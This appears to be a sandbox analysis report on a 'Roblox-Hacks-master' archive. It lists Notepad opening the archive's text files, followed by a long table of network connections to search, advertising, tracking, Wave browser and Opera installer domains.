"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Temp1_Roblox-Hacks-master.zip\Roblox-Hacks-master\part01.txt

C:\Windows\system32\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Temp1_Roblox-Hacks-master.zip\Roblox-Hacks-master\part02.txt

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa392e855 /state1:0x41c64e6d

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
GB 92.123.142.187:443 www.bing.com tcp
US 8.8.8.8:53 th.bing.com udp
GB 92.123.142.171:443 r.bing.com tcp
GB 92.123.142.171:443 r.bing.com tcp
GB 92.123.142.121:443 th.bing.com tcp
GB 92.123.142.121:443 th.bing.com tcp
US 204.79.197.200:443 bing.com tcp
NL 40.126.32.72:443 login.microsoftonline.com tcp
US 13.107.5.80:443 services.bingapis.com tcp
US 104.18.33.89:443 www2.bing.com tcp
US 104.18.33.89:443 www2.bing.com tcp
US 151.101.193.91:443 sc.sftcdn.net tcp
US 151.101.193.91:443 sc.sftcdn.net tcp
US 8.8.8.8:53 softonic.com udp
US 8.8.8.8:53 sdk.privacy-center.org udp
US 8.8.8.8:53 www.clarity.ms udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 securepubads.g.doubleclick.net udp
US 8.8.8.8:53 bat.bing.com udp
US 151.101.193.91:443 sc.sftcdn.net tcp
US 151.101.193.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 199.232.213.91:443 softonic.com tcp
US 199.232.213.91:443 softonic.com tcp
US 150.171.28.10:443 bat.bing.com tcp
FR 142.250.179.68:443 www.google.com tcp
FR 216.58.215.34:443 securepubads.g.doubleclick.net tcp
US 13.107.246.64:443 www.clarity.ms tcp
GB 13.224.222.112:443 sdk.privacy-center.org tcp
FR 216.58.215.34:443 securepubads.g.doubleclick.net tcp
GB 13.224.223.9:443 c.amazon-adsystem.com tcp
US 151.101.193.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net udp
FR 216.58.214.174:443 syndicatedsearch.goog tcp
US 8.8.8.8:53 200.20.217.172.in-addr.arpa udp
US 8.8.8.8:53 9.223.224.13.in-addr.arpa udp
US 8.8.8.8:53 107.39.156.108.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
FR 216.58.215.34:443 securepubads.g.doubleclick.net udp
GB 13.224.223.9:443 c.amazon-adsystem.com tcp
GB 18.172.148.233:443 www.datadoghq-browser-agent.com tcp
US 104.22.74.216:443 btloader.com tcp
FR 172.217.20.219:443 storage.googleapis.com tcp
US 172.67.69.19:443 ad-delivery.net tcp
US 172.67.69.19:443 ad-delivery.net tcp
GB 108.156.39.27:443 config.aps.amazon-adsystem.com tcp
US 172.67.38.106:443 cdn.id5-sync.com tcp
US 51.8.64.151:443 h.clarity.ms tcp
US 130.211.23.194:443 api.btloader.com tcp
US 130.211.23.194:443 api.btloader.com tcp
US 104.26.7.141:443 cdn.btmessage.com tcp
US 51.8.64.151:443 h.clarity.ms tcp
US 172.67.69.19:443 ad-delivery.net tcp
US 151.101.193.91:443 di-images.sftcdn.net udp
IE 13.74.129.1:443 c.clarity.ms tcp
NL 139.45.197.253:443 notix.io tcp
US 204.79.197.237:443 c.bing.com tcp
GB 108.138.233.123:443 api.privacy-center.org tcp
FR 216.58.214.174:443 syndicatedsearch.goog udp
FR 142.250.179.68:443 www.google.com udp
FR 142.250.179.65:443 56ea8f0b1b538ab1d2d408e80d906d21.safeframe.googlesyndication.com tcp
US 8.8.8.8:53 ib.adnxs.com udp
US 8.8.8.8:53 id.crwdcntrl.net udp
US 8.8.8.8:53 static.criteo.net udp
US 8.8.8.8:53 tags.crwdcntrl.net udp
US 8.8.8.8:53 partner.googleadservices.com udp
US 8.8.8.8:53 cdn.jsdelivr.net udp
US 8.8.8.8:53 ep1.adtrafficquality.google udp
GB 18.244.138.116:443 aax.amazon-adsystem.com tcp
US 8.8.8.8:53 cdn-ima.33across.com udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 34.120.63.153:443 prebid.media.net tcp
IE 34.248.244.54:443 ap.lijit.com tcp
IE 52.17.251.242:443 ad.360yield.com tcp
DE 162.19.138.118:443 lb.eu-1-id5-sync.com tcp
DE 162.19.138.118:443 lb.eu-1-id5-sync.com tcp
GB 185.64.190.77:443 hbopenbid.pubmatic.com tcp
NL 188.166.203.175:443 brightcombid.marphezis.com tcp
DE 157.90.0.38:443 shb.richaudience.com tcp
DE 157.90.0.38:443 shb.richaudience.com tcp
DE 157.90.0.38:443 shb.richaudience.com tcp
NL 185.89.210.212:443 ib.adnxs.com tcp
US 172.64.151.101:443 ssum-sec.casalemedia.com tcp
NL 178.250.1.3:443 static.criteo.net tcp
US 151.101.129.229:443 cdn.jsdelivr.net tcp
IE 63.32.216.206:443 id.crwdcntrl.net tcp
GB 18.245.143.100:443 tags.crwdcntrl.net tcp
FR 185.255.84.151:443 hb-api.omnitagjs.com tcp
FR 142.250.179.66:443 ep1.adtrafficquality.google tcp
US 104.18.35.167:443 cdn-ima.33across.com tcp
DE 162.19.138.118:443 lb.eu-1-id5-sync.com tcp
FR 172.217.18.194:443 googleads.g.doubleclick.net tcp
FR 172.217.18.194:443 googleads.g.doubleclick.net tcp
FR 172.217.18.194:443 googleads.g.doubleclick.net tcp
US 8.8.8.8:53 242.251.17.52.in-addr.arpa udp
US 8.8.8.8:53 118.138.19.162.in-addr.arpa udp
US 8.8.8.8:53 101.151.64.172.in-addr.arpa udp
US 8.8.8.8:53 212.210.89.185.in-addr.arpa udp
US 8.8.8.8:53 3.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 162.201.250.142.in-addr.arpa udp
US 8.8.8.8:53 100.143.245.18.in-addr.arpa udp
US 8.8.8.8:53 38.0.90.157.in-addr.arpa udp
US 8.8.8.8:53 206.216.32.63.in-addr.arpa udp
US 8.8.8.8:53 66.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 167.35.18.104.in-addr.arpa udp
US 8.8.8.8:53 174.20.217.172.in-addr.arpa udp
US 8.8.8.8:53 194.18.217.172.in-addr.arpa udp
GB 92.123.143.169:80 apps.identrust.com tcp
US 216.239.32.36:443 region1.analytics.google.com tcp
FR 142.250.179.68:443 www.google.com udp
FR 142.250.201.163:443 www.google.co.uk tcp
FR 142.250.201.163:443 www.google.co.uk tcp
FR 142.250.201.163:443 www.google.co.uk tcp
FR 142.250.179.97:443 ep2.adtrafficquality.google tcp
GB 74.125.71.156:443 stats.g.doubleclick.net tcp
US 35.244.193.51:443 lexicon.33across.com tcp
FR 216.58.213.78:443 ampcid.google.com tcp
FR 142.250.178.129:443 tpc.googlesyndication.com tcp
FR 172.217.18.194:443 googleads.g.doubleclick.net udp
GB 74.125.71.156:443 stats.g.doubleclick.net udp
FR 142.250.178.129:443 tpc.googlesyndication.com tcp
FR 142.250.178.129:443 tpc.googlesyndication.com tcp
FR 142.250.178.129:443 tpc.googlesyndication.com tcp
FR 142.250.178.129:443 tpc.googlesyndication.com tcp
FR 142.250.178.129:443 tpc.googlesyndication.com tcp
US 34.120.63.153:443 prebid.media.net udp
US 8.8.8.8:53 129.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 234.75.250.142.in-addr.arpa udp
IE 52.95.118.179:443 aax-eu.amazon-adsystem.com tcp
FR 142.250.178.129:443 tpc.googlesyndication.com udp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 142.250.178.129:443 tpc.googlesyndication.com udp
FR 142.250.178.130:443 cm.g.doubleclick.net tcp
FR 142.250.178.130:443 cm.g.doubleclick.net tcp
FR 142.250.178.134:443 s0.2mdn.net tcp
FR 142.250.178.134:443 s0.2mdn.net tcp
FR 142.250.178.134:443 s0.2mdn.net tcp
FR 142.250.178.130:443 cm.g.doubleclick.net udp
FR 142.250.178.134:443 s0.2mdn.net udp
US 172.64.149.180:443 cdn.indexww.com tcp
GB 95.100.244.20:443 contextual.media.net tcp
DE 162.55.233.28:443 sync.richaudience.com tcp
GB 92.123.142.144:443 acdn.adnxs.com tcp
GB 2.18.108.192:443 ads.pubmatic.com tcp
FR 185.255.84.153:443 visitor.omnitagjs.com tcp
DE 162.55.233.28:443 sync.richaudience.com tcp
FR 185.255.84.153:443 visitor.omnitagjs.com tcp
SE 192.229.221.95:80 cacerts.rapidssl.com tcp
IE 52.212.87.103:443 ce.lijit.com tcp
IE 52.212.87.103:443 ce.lijit.com tcp
US 8.8.8.8:53 x.bidswitch.net udp
US 8.8.8.8:53 match.adsrvr.org udp
US 8.8.8.8:53 sync.srv.stackadapt.com udp
US 8.8.8.8:53 image8.pubmatic.com udp
US 54.90.152.160:443 cs-server-s2s.yellowblue.io tcp
NL 35.214.149.91:443 x.bidswitch.net tcp
US 67.202.105.24:443 ssc-cms.33across.com tcp
GB 92.123.140.19:443 player.aniview.com tcp
DE 51.75.86.98:443 onetag-sys.com tcp
NL 178.250.1.9:443 dis.criteo.com tcp
NL 46.228.174.117:443 sync.1rx.io tcp
NL 198.47.127.18:443 image8.pubmatic.com tcp
IE 34.252.6.15:443 match.prod.bidr.io tcp
DE 37.252.171.53:443 secure.adnxs.com tcp
DE 37.252.171.53:443 secure.adnxs.com tcp
US 54.211.52.44:443 sync.srv.stackadapt.com tcp
US 15.197.193.217:443 match.adsrvr.org tcp
US 54.87.195.130:443 api-2-0.spot.im tcp
FR 5.135.209.100:443 ssbsync.smartadserver.com tcp
US 67.202.105.24:443 ssc-cms.33across.com tcp
US 54.87.195.130:443 api-2-0.spot.im tcp
US 54.211.52.44:443 sync.srv.stackadapt.com tcp
US 8.8.8.8:53 18.127.47.198.in-addr.arpa udp
US 172.111.38.111:443 tracker.open-adsyield.com tcp
US 8.8.8.8:53 9.1.250.178.in-addr.arpa udp
US 8.8.8.8:53 53.171.252.37.in-addr.arpa udp
US 8.8.8.8:53 44.52.211.54.in-addr.arpa udp
US 8.8.8.8:53 130.195.87.54.in-addr.arpa udp
US 8.8.8.8:53 98.86.75.51.in-addr.arpa udp
US 8.8.8.8:53 24.105.202.67.in-addr.arpa udp
IE 34.253.170.144:443 jadserve.postrelease.com tcp
US 216.239.32.36:443 region1.google-analytics.com udp
IE 34.253.170.144:443 jadserve.postrelease.com tcp
US 35.244.174.68:443 id.rlcdn.com tcp
US 192.132.33.67:443 bttrack.com tcp
US 172.240.45.78:443 sync.aniview.com tcp
NL 81.17.55.173:443 rtb-csync.smartadserver.com tcp
NL 81.17.55.173:443 rtb-csync.smartadserver.com tcp
NL 81.17.55.173:443 rtb-csync.smartadserver.com tcp
US 52.46.130.91:443 s.amazon-adsystem.com tcp
GB 23.214.129.249:443 secure-assets.rubiconproject.com tcp
US 34.36.216.150:443 pixel-sync.sitescout.com tcp
NL 35.214.149.91:443 x.bidswitch.net tcp
DE 51.75.86.98:443 onetag-sys.com udp
NL 35.214.149.91:443 x.bidswitch.net tcp
NL 35.214.199.88:443 rtb.mfadsrvr.com tcp
US 74.121.140.211:443 sync.mathtag.com tcp
US 80.77.87.162:443 cs.admanmedia.com tcp
US 34.36.216.150:443 pixel-sync.sitescout.com udp
NL 69.173.156.148:443 pixel-eu.rubiconproject.com tcp
NL 82.145.213.8:443 t.adx.opera.com tcp
NL 69.173.156.149:443 pixel-eu.rubiconproject.com tcp
NL 81.17.55.123:443 ssbsync-global.smartadserver.com tcp
US 104.22.50.98:443 spl.zeotap.com tcp
FR 154.54.250.80:443 ads.stickyadstv.com tcp
GB 95.100.245.251:443 eus.rubiconproject.com tcp
US 8.8.8.8:53 149.156.173.69.in-addr.arpa udp
US 8.8.8.8:53 123.55.17.81.in-addr.arpa udp
US 8.8.8.8:53 98.50.22.104.in-addr.arpa udp
US 8.8.8.8:53 251.245.100.95.in-addr.arpa udp
US 8.8.8.8:53 80.250.54.154.in-addr.arpa udp
US 8.8.8.8:53 162.87.77.80.in-addr.arpa udp
US 8.8.8.8:53 211.140.121.74.in-addr.arpa udp
NL 69.173.156.149:443 pixel-eu.rubiconproject.com tcp
US 54.88.47.169:443 install.convertwithwave.com tcp
US 54.88.47.169:443 install.convertwithwave.com tcp
US 3.208.53.127:443 api.mywavehome.net tcp
GB 88.221.134.88:443 p.typekit.net tcp
GB 88.221.134.88:443 p.typekit.net tcp
GB 88.221.134.88:443 p.typekit.net tcp
GB 88.221.135.104:443 p.typekit.net tcp
US 3.208.53.127:443 api.mywavehome.net tcp
US 104.22.59.181:443 app.posthog.com tcp
US 104.22.59.181:443 app.posthog.com tcp
US 104.18.30.234:443 app.termly.io tcp
US 3.222.199.46:443 api.mywavehome.net tcp
US 3.208.53.127:443 api.mywavehome.net tcp
US 104.18.30.234:443 app.termly.io tcp
US 3.217.56.134:443 api.mywavehome.net tcp
GB 88.221.134.88:443 p.typekit.net tcp
US 216.239.32.36:443 region1.google-analytics.com tcp
FR 142.250.201.163:443 www.google.co.uk udp
US 3.222.199.46:443 api.mywavehome.net tcp
US 3.5.29.214:443 wav-installers.s3.amazonaws.com tcp
US 216.239.32.36:443 region1.google-analytics.com udp
US 18.206.134.55:443 api.mywavehome.net tcp
US 18.210.144.237:443 swupdater.com tcp
US 18.210.144.237:443 swupdater.com tcp
GB 143.204.68.123:443 cdn.swupdater.com tcp
US 18.206.134.55:443 api.mywavehome.net tcp
US 34.120.63.153:443 prebid.media.net udp
NL 185.89.210.212:443 secure.adnxs.com tcp
NL 188.166.203.175:443 brightcombid.marphezis.com tcp
FR 185.255.84.150:443 hb-api.omnitagjs.com tcp
IE 34.252.163.129:443 ad.360yield.com tcp
FR 216.58.215.34:443 securepubads.g.doubleclick.net udp
GB 143.204.67.183:80 ocsp.r2m02.amazontrust.com tcp
FR 142.250.178.129:443 tpc.googlesyndication.com udp
US 3.208.133.88:443 api.mywavehome.net tcp
GB 143.204.67.183:80 ocsp.r2m02.amazontrust.com tcp
US 3.208.133.88:443 api.mywavehome.net tcp
US 8.8.8.8:53 s2.googleusercontent.com udp
US 8.8.8.8:53 s2.googleusercontent.com udp
FR 142.250.178.129:443 s2.googleusercontent.com tcp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 accounts.google.com udp
US 8.8.8.8:53 api.wavebrowser.net udp
US 8.8.8.8:53 api.wavebrowser.net udp
US 8.8.8.8:53 api.mywavehome.net udp
US 8.8.8.8:53 api.mywavehome.net udp
IE 74.125.193.84:443 accounts.google.com tcp
US 3.222.199.46:443 api.mywavehome.net tcp
US 18.210.144.237:443 swupdater.com tcp
IE 74.125.193.84:443 accounts.google.com tcp
US 8.8.8.8:53 t3.gstatic.com udp
US 8.8.8.8:53 t3.gstatic.com udp
FR 142.250.179.68:443 t3.gstatic.com tcp
US 8.8.8.8:53 dct.convertwithwave.com udp
US 8.8.8.8:53 dct.convertwithwave.com udp
US 8.8.8.8:53 seed.wavebrowser.co udp
US 8.8.8.8:53 seed.wavebrowser.co udp
GB 18.239.236.123:443 seed.wavebrowser.co tcp
US 18.206.134.55:443 dct.convertwithwave.com tcp
US 18.206.134.55:443 dct.convertwithwave.com tcp
US 18.206.134.55:443 dct.convertwithwave.com tcp
US 18.206.134.55:443 dct.convertwithwave.com tcp
US 8.8.8.8:53 ntp2.mywavehome.net udp
US 8.8.8.8:53 ntp2.mywavehome.net udp
US 18.206.134.55:443 dct.convertwithwave.com tcp
US 18.206.134.55:443 dct.convertwithwave.com tcp
GB 18.244.114.28:443 ntp2.mywavehome.net tcp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
GB 18.244.114.28:443 ntp2.mywavehome.net tcp
US 8.8.8.8:53 api.wavebrowser.net udp
US 8.8.8.8:53 api.wavebrowser.net udp
FR 142.250.179.68:443 www.google.com udp
FR 142.250.179.68:443 www.google.com tcp
FR 142.250.179.68:443 www.google.com tcp
US 3.217.56.134:443 api.wavebrowser.net tcp
US 8.8.8.8:53 t3.gstatic.com udp
US 8.8.8.8:53 t3.gstatic.com udp
US 8.8.8.8:53 t0.gstatic.com udp
US 8.8.8.8:53 t0.gstatic.com udp
FR 216.58.214.164:443 t0.gstatic.com tcp
FR 142.250.179.68:443 t3.gstatic.com tcp
US 8.8.8.8:53 js.recurly.com udp
US 8.8.8.8:53 js.recurly.com udp
US 34.98.107.242:443 js.recurly.com tcp
US 34.98.107.242:443 js.recurly.com tcp
GB 18.244.114.28:443 ntp2.mywavehome.net udp
US 8.8.8.8:53 widgets.outbrain.com udp
US 8.8.8.8:53 widgets.outbrain.com udp
US 8.8.8.8:53 cdn.taboola.com udp
US 8.8.8.8:53 cdn.taboola.com udp
GB 2.18.109.60:443 widgets.outbrain.com tcp
US 151.101.65.44:443 cdn.taboola.com tcp
US 8.8.8.8:53 api.recurly.com udp
US 8.8.8.8:53 api.recurly.com udp
US 8.8.8.8:53 tcheck.outbrainimg.com udp
US 8.8.8.8:53 tcheck.outbrainimg.com udp
US 8.8.8.8:53 widget-pixels.outbrain.com udp
US 8.8.8.8:53 widget-pixels.outbrain.com udp
US 34.98.107.242:443 api.recurly.com tcp
US 8.8.8.8:53 gum.criteo.com udp
US 8.8.8.8:53 gum.criteo.com udp
US 8.8.8.8:53 beacon.taboola.com udp
US 8.8.8.8:53 beacon.taboola.com udp
GB 95.100.245.166:443 tcheck.outbrainimg.com tcp
US 8.8.8.8:53 widgets.outbrain.com udp
US 8.8.8.8:53 widgets.outbrain.com udp
NL 178.250.1.11:443 gum.criteo.com tcp
US 8.8.8.8:53 content-autofill.googleapis.com udp
US 8.8.8.8:53 content-autofill.googleapis.com udp
GB 2.18.109.60:443 widgets.outbrain.com tcp
FR 172.217.20.202:443 content-autofill.googleapis.com tcp
US 8.8.8.8:53 api.wavebrowserbase.com udp
US 8.8.8.8:53 api.wavebrowserbase.com udp
US 3.208.133.88:443 api.wavebrowserbase.com tcp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
US 8.8.8.8:53 googleads.g.doubleclick.net udp
FR 172.217.20.194:443 googleads.g.doubleclick.net udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.co.uk udp
US 8.8.8.8:53 www.google.co.uk udp
US 51.8.64.151:443 h.clarity.ms tcp
FR 142.250.179.68:443 www.google.com udp
FR 142.250.201.163:443 www.google.co.uk udp
US 8.8.8.8:53 api.mywavehome.net udp
US 8.8.8.8:53 api.mywavehome.net udp
US 3.208.53.127:443 api.mywavehome.net tcp
US 8.8.8.8:53 extapi.wavebrowserbase.com udp
US 8.8.8.8:53 extapi.wavebrowserbase.com udp
US 3.229.73.207:443 extapi.wavebrowserbase.com tcp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.8.8:53 dns.google udp
US 8.8.4.4:443 dns.google tcp
US 8.8.8.8:443 dns.google tcp
US 8.8.8.8:443 dns.google tcp
US 8.8.4.4:443 dns.google udp
GB 18.245.218.64:443 tcp
GB 143.204.176.76:443 tcp
US 216.239.32.36:443 region1.google-analytics.com udp
US 8.8.8.8:443 dns.google udp
US 52.4.157.254:443 tcp
US 52.4.157.254:443 tcp
US 52.4.157.254:443 tcp
US 52.4.157.254:443 tcp
US 3.212.223.245:443 tcp
DE 157.240.27.18:443 udp
DE 157.240.27.27:443 connect.facebook.net udp
DE 157.240.27.27:443 connect.facebook.net tcp
DE 157.240.27.27:443 connect.facebook.net tcp
DE 157.240.27.27:443 connect.facebook.net udp
DE 157.240.27.35:443 tcp
DE 157.240.27.35:443 tcp
DE 157.240.27.35:443 tcp
DE 157.240.27.35:443 tcp
DE 157.240.27.35:443 tcp
DE 157.240.27.35:443 tcp
FR 142.250.178.138:443 content-autofill.googleapis.com tcp
IE 212.82.100.137:443 tcp
IE 212.82.100.137:443 tcp
IE 212.82.100.137:443 tcp
IE 34.253.254.20:443 tcp
IE 52.48.121.66:443 tcp
IE 52.48.121.66:443 tcp
GB 87.248.114.11:443 tcp
GB 87.248.114.11:443 tcp
GB 87.248.114.11:443 tcp
GB 87.248.114.11:443 tcp
IE 52.48.121.66:443 tcp
IE 188.125.72.139:443 tcp
IE 188.125.72.139:443 tcp
IE 188.125.72.139:443 tcp
IE 188.125.72.139:443 tcp
IE 188.125.72.139:443 tcp
IE 188.125.72.139:443 tcp
IE 212.82.100.137:443 tcp
IE 212.82.100.137:443 tcp
FR 172.217.18.202:443 content-autofill.googleapis.com tcp
US 204.79.197.237:443 c.bing.com tcp
US 172.66.40.124:443 tcp
IE 212.82.100.137:443 tcp
US 172.66.40.124:443 tcp
IE 212.82.100.137:443 tcp
US 172.66.40.124:443 tcp
GB 92.123.142.138:443 www.bing.com tcp
IE 188.125.72.139:443 tcp
US 172.66.40.124:443 udp
FR 142.250.179.106:443 content-autofill.googleapis.com tcp
US 104.17.246.203:443 tcp
FR 142.250.178.130:443 cm.g.doubleclick.net udp
US 150.171.28.10:443 bat.bing.com tcp
US 13.107.246.64:443 www.clarity.ms tcp
FR 172.217.20.206:443 www.youtube.com tcp
FR 142.250.178.130:443 cm.g.doubleclick.net udp
US 216.239.32.36:443 region1.google-analytics.com tcp
US 13.107.246.64:443 www.clarity.ms tcp
FR 172.217.20.206:443 www.youtube.com udp
FR 142.250.179.68:443 www.google.com udp
FR 142.250.201.163:443 www.google.co.uk udp
FR 172.217.20.206:443 www.youtube.com udp
US 51.8.64.151:443 h.clarity.ms tcp
US 51.8.64.151:443 h.clarity.ms tcp
US 216.239.32.36:443 region1.google-analytics.com udp
US 51.8.64.151:443 h.clarity.ms tcp
US 151.101.1.91:443 sc.sftcdn.net tcp
IE 212.82.100.137:443 tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
IE 212.82.100.137:443 tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net udp
FR 216.58.215.34:443 securepubads.g.doubleclick.net udp
US 199.232.198.154:443 tcp
FR 142.250.179.68:443 www.google.com udp
GB 13.224.223.9:443 c.amazon-adsystem.com tcp
US 199.232.198.154:443 tcp
US 199.232.198.154:443 tcp
US 151.101.193.91:443 sc.sftcdn.net tcp
US 151.101.193.91:443 sc.sftcdn.net tcp
GB 13.224.223.9:443 c.amazon-adsystem.com tcp
FR 216.58.215.34:443 securepubads.g.doubleclick.net udp
US 104.18.86.42:443 tcp
US 151.101.193.91:443 sc.sftcdn.net tcp
US 151.101.129.91:443 sc.sftcdn.net tcp
GB 18.172.148.233:443 www.datadoghq-browser-agent.com tcp
US 104.18.86.42:443 tcp
US 151.101.193.91:443 sc.sftcdn.net udp
FR 216.58.214.174:443 www.youtube.com tcp
US 151.101.193.91:443 sc.sftcdn.net udp
FR 172.217.18.202:443 content-autofill.googleapis.com tcp
US 104.18.32.137:443 tcp
US 216.239.34.36:443 region1.google-analytics.com tcp
FR 172.217.18.202:443 content-autofill.googleapis.com udp
US 13.107.246.64:443 www.clarity.ms tcp
GB 18.165.242.4:443 tcp
GB 18.245.143.100:443 tags.crwdcntrl.net tcp
US 172.64.152.89:443 cdn-ima.33across.com tcp
FR 142.250.179.65:443 56ea8f0b1b538ab1d2d408e80d906d21.safeframe.googlesyndication.com tcp
FR 142.250.179.97:443 ep2.adtrafficquality.google tcp
IE 52.211.24.199:443 id.crwdcntrl.net tcp
FR 142.250.179.68:443 www.google.com udp
FR 142.250.178.129:443 s2.googleusercontent.com tcp
US 51.8.64.151:443 h.clarity.ms tcp
FR 142.250.179.98:443 udp
FR 142.250.178.134:443 s0.2mdn.net tcp
FR 142.250.178.129:443 s2.googleusercontent.com udp
US 172.64.151.101:443 ssum-sec.casalemedia.com tcp
NL 185.89.210.244:443 secure.adnxs.com tcp
FR 142.250.178.134:443 s0.2mdn.net udp
US 172.64.151.101:443 ssum-sec.casalemedia.com udp
US 8.8.8.8:443 dns.google udp
FR 142.250.179.67:443 tcp
US 51.8.64.151:443 h.clarity.ms tcp
FR 142.250.178.129:443 s2.googleusercontent.com tcp
FR 142.250.178.129:443 s2.googleusercontent.com tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
FR 216.58.214.161:443 cdn.ampproject.org tcp
US 35.244.159.8:443 tcp
GB 2.18.109.35:443 tcp
US 35.244.159.8:443 tcp
GB 2.18.109.35:443 tcp
US 8.8.8.8:53 sync.search.spotxchange.com udp
US 8.8.8.8:53 sync.search.spotxchange.com udp
DE 3.75.62.37:443 tcp
FR 142.250.178.129:443 s2.googleusercontent.com udp
NL 154.57.158.116:443 ads.stickyadstv.com tcp
NL 89.149.193.121:443 rtb-csync.smartadserver.com tcp
NL 154.57.158.116:443 ads.stickyadstv.com tcp
NL 89.149.193.121:443 rtb-csync.smartadserver.com tcp
US 35.244.159.8:443 udp
NL 89.149.193.121:443 rtb-csync.smartadserver.com tcp
US 8.8.8.8:53 sync.search.spotxchange.com udp
US 8.8.8.8:53 sync.search.spotxchange.com udp
US 151.101.129.91:443 sc.sftcdn.net udp
US 216.239.34.36:443 region1.google-analytics.com udp
FR 142.250.178.133:443 tcp
GB 87.248.114.12:443 tcp
FR 142.250.178.129:443 s2.googleusercontent.com udp
FR 142.250.179.67:443 udp
US 34.120.63.153:443 prebid.media.net udp
NL 188.166.203.175:443 brightcombid.marphezis.com tcp
IE 54.229.86.110:443 ap.lijit.com tcp
FR 185.255.84.151:443 hb-api.omnitagjs.com tcp
IE 34.248.15.203:443 ad.360yield.com tcp
DE 37.252.173.215:443 ib.adnxs.com tcp
FR 216.58.215.34:443 securepubads.g.doubleclick.net udp
FR 142.250.179.68:443 www.google.com udp
US 34.192.241.148:443 install.convertwithwave.com tcp
GB 88.221.135.104:443 p.typekit.net tcp
GB 88.221.134.115:443 use.typekit.net tcp
US 18.206.134.55:443 api.mywavehome.net tcp
US 18.206.134.55:443 api.mywavehome.net tcp
US 216.239.32.36:443 region1.google-analytics.com udp
US 44.207.181.148:443 api.mywavehome.net tcp
US 151.101.129.91:443 sc.sftcdn.net udp
US 216.239.32.36:443 region1.google-analytics.com udp
FR 142.250.201.163:443 www.google.co.uk udp
US 8.8.8.8:443 dns.google udp
FR 172.217.20.202:443 content-autofill.googleapis.com tcp
FR 172.217.20.202:443 content-autofill.googleapis.com tcp
DE 52.58.241.140:443 www.opera.com tcp
GB 23.214.143.61:443 cdn-production-opera-website.operacdn.com tcp
GB 23.214.143.61:443 cdn-production-opera-website.operacdn.com tcp
GB 23.214.143.61:443 cdn-production-opera-website.operacdn.com tcp
GB 23.214.143.61:443 cdn-production-opera-website.operacdn.com tcp
GB 23.214.143.61:443 cdn-production-opera-website.operacdn.com tcp
GB 23.214.143.61:443 cdn-production-opera-website.operacdn.com tcp
GB 23.214.143.61:443 cdn-production-opera-website.operacdn.com tcp
US 216.239.32.36:443 region1.google-analytics.com udp
FR 142.250.179.68:443 www.google.com udp
US 216.239.32.36:443 region1.google-analytics.com udp
FR 142.250.201.163:443 www.google.co.uk udp
GB 74.125.71.156:443 stats.g.doubleclick.net udp
NL 185.26.182.112:443 net.geo.opera.com tcp
IE 52.95.126.138:443 aax-eu.amazon-adsystem.com tcp
IE 52.95.126.138:443 aax-eu.amazon-adsystem.com tcp
FR 142.250.201.166:443 11199305.fls.doubleclick.net tcp
IE 52.95.126.138:443 aax-eu.amazon-adsystem.com tcp
FR 142.250.201.166:443 11199305.fls.doubleclick.net udp
DE 52.58.241.140:443 www.opera.com tcp
US 150.171.28.10:443 bat.bing.com tcp
US 13.107.246.64:443 www.clarity.ms tcp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
NL 82.145.216.19:443 autoupdate.geo.opera.com tcp
NL 82.145.216.19:443 autoupdate.geo.opera.com tcp
NL 82.145.216.15:443 features.opera-api2.com tcp
NL 185.26.182.122:443 download.opera.com tcp
US 104.18.11.89:443 download5.operacdn.com tcp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
GB 92.123.142.131:443 www.bing.com tcp
GB 92.123.142.185:443 th.bing.com tcp
GB 92.123.142.185:443 th.bing.com tcp
GB 92.123.142.139:443 www.bing.com tcp
GB 92.123.142.139:443 www.bing.com tcp
US 104.18.5.124:443 www.instant-gaming.com tcp
US 104.18.5.124:443 www.instant-gaming.com tcp
US 104.18.14.72:443 gaming-cdn.com tcp
DE 157.240.27.27:443 connect.facebook.net tcp
GB 54.192.137.11:443 widget.trustpilot.com tcp
IE 74.125.193.84:443 accounts.google.com tcp
US 104.18.14.72:443 gaming-cdn.com tcp
US 104.18.14.72:443 gaming-cdn.com tcp
US 104.18.33.89:443 www2.bing.com tcp
US 162.247.243.39:443 js-agent.newrelic.com tcp
US 104.18.33.89:443 www2.bing.com tcp
US 162.247.243.29:443 bam.nr-data.net tcp
US 216.239.32.36:443 region1.google-analytics.com udp
US 8.8.4.4:443 dns.google udp
FR 142.250.178.133:443 tcp
FR 142.250.178.133:443 tcp
FR 216.58.215.35:443 tcp
FR 216.58.215.35:443 tcp
FR 216.58.215.35:443 tcp
FR 216.58.215.35:443 tcp
